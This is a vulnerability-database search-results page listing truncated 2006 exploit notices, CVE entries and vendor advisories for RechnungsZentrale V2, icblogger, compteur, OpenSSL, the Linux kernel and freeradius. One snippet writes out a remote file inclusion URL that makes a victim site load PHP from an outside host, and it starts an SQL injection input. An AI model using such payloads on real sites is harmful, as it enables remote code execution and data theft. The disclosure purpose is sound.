3365 matches found
compteur v2 (param_editor.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================ compteur v2 parameditor.php Remote File Include Vulnerability ================================================================ Title..: 7 php scripts File Inclusion Vuln /...
FreeBSD-SA-06:23.openssl
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-06:23.openssl Security Advisory The FreeBSD Project Topic: Multiple problems in crypto3 Category: contrib Module: openssl Announced: 2006-09-28 Credits: Dr S N...
icblogger v2 (YID) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ===================================================== icblogger v2 YID Remote SQL Injection Vulnerability ===================================================== Icblogger = "YID" Remote Blind SQL Injection - - - - - - - - - - - - - - - - - ...
icblogger v2 (YID) Remote SQL Injection Vulnerability
No description provided by source. Icblogger = "YID" Remote Blind SQL Injection - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Credit by | Chironex Fleckeri Mail | [email protected] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Usage :...
CVE-2006-3468
Linux kernel 2.6.x, when using both NFS and EXT3, allows remote attackers to cause a denial of service file system panic via a crafted UDP packet with a V2 lookup procedure that specifies a bad file handle inode number, which triggers an error and causes an exported directory to be remounted...
CVE-2006-3468
CVE-2006-3468 affects the Linux kernel 2.6.x when NFS and EXT3 are used. A remote attacker can trigger a denial of service by sending a crafted UDP packet containing a V2 lookup procedure that specifies a bad file handle (inode number). This triggers an error and causes the exported directory to ...
CVE-2006-3468
Linux kernel 2.6.x, when using both NFS and EXT3, allows remote attackers to cause a denial of service file system panic via a crafted UDP packet with a V2 lookup procedure that specifies a bad file handle inode number, which triggers an error and causes an exported directory to be remounted...
CVE-2006-3468: Undefined Security Weakness
Linux kernel 2.6.x, when using both NFS and EXT3, allows remote attackers to cause a denial of service file system panic via a crafted UDP packet with a V2 lookup procedure that specifies a bad file handle inode number, which triggers an error and causes an exported directory to be remounted...
CentOS 3 / 4 : freeradius (CESA-2006:0271)
Updated freeradius packages that fix an authentication weakness are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. FreeRADIUS is a high-performance and highly configurable free RADIUS server designed to allow centralized...
CVE-2006-1955
The CVE-2006-1955 entry concerns RechnungsZentrale V2 (Nicolas Fischer/NFec) with versions 1.1.3 and earlier affected by a PHP remote file inclusion via the rootpath parameter in authent.php4, enabling possible arbitrary PHP code execution. Affected component: authent.php4; root cause: insecure h...
CVE-2006-1955
PHP remote file inclusion vulnerability in authent.php4 in Nicolas Fischer aka NFec RechnungsZentrale V2 1.1.3, and possibly earlier versions, allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...
CVE-2006-1954: Undefined Security Weakness
SQL injection vulnerability in authent.php4 in Nicolas Fischer aka NFec RechnungsZentrale V2 1.1.3, and possibly earlier versions, allows remote attackers to execute arbitrary SQL commands via the User field...
CVE-2006-1955: Undefined Security Weakness
PHP remote file inclusion vulnerability in authent.php4 in Nicolas Fischer aka NFec RechnungsZentrale V2 1.1.3, and possibly earlier versions, allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...
RechnungsZentrale V2 <= 1.1.3 Remote Inclusion Vulnerability
Exploit for unknown platform in category web applications ============================================================ RechnungsZentrale V2 = 1.1.3 Remote Inclusion Vulnerability ============================================================ - GroundZero Security Research and Software Development...
RechnungsZentrale V2 <= 1.1.3 Remote Inclusion Vulnerability
No description provided by source. - GroundZero Security Research and Software Development 2006 - Software: RechnungsZentrale V2 Version: 1.1.3, likely older versions are affected aswell. Vendor: http://www.nfec.de/ Remote Inclusion:...
RechnungsZentrale V2 1.1.3 - Remote File Inclusion
RechnungsZentrale V2 1.1.3 - Remote File Inclusion - GroundZero Security Research and Software Development 2006 - Software: RechnungsZentrale V2 Version: 1.1.3, likely older versions are affected aswell. Vendor: http://www.nfec.de/ Remote Inclusion:...
RechnungsZentrale V2 < 1.1.3 - Remote File Inclusion
GroundZero Security Research and Software Development 2006 - Software: RechnungsZentrale V2 Version: 1.1.3, likely older versions are affected aswell. Vendor: http://www.nfec.de/ Remote Inclusion: http://www.victim.tld/mod/authent.php4?rootpath=Http://server.tld/mod/db.php4 SQL Injection: User: '...
[Full-disclosure] RechnungsZentrale V2 - SQL injection and Remote PHP inclusion vulnerabilities
The Advisory can be found here: http://www.g-0.org/code/rz2-adv.html Regards, GroundZero Security Research and Software Development http://www.groundzero-security.com Wir widersprechen der Nutzung oder Ubermittlung unserer Daten fur Werbezwecke oder fur die Markt- oder Meinungsforschung § 28 Abs....
RechnungsZentrale 2 1.1.3 - 'Authent.php4' SQL Injection
source: https://www.securityfocus.com/bid/17588/info RechnungsZentrale V2 is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to...
freeradius security update
CentOS Errata and Security Advisory CESA-2006:0271 Updated freeradius packages that fix an authentication weakness are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. FreeRADIUS is a high-performance and highly configurable free...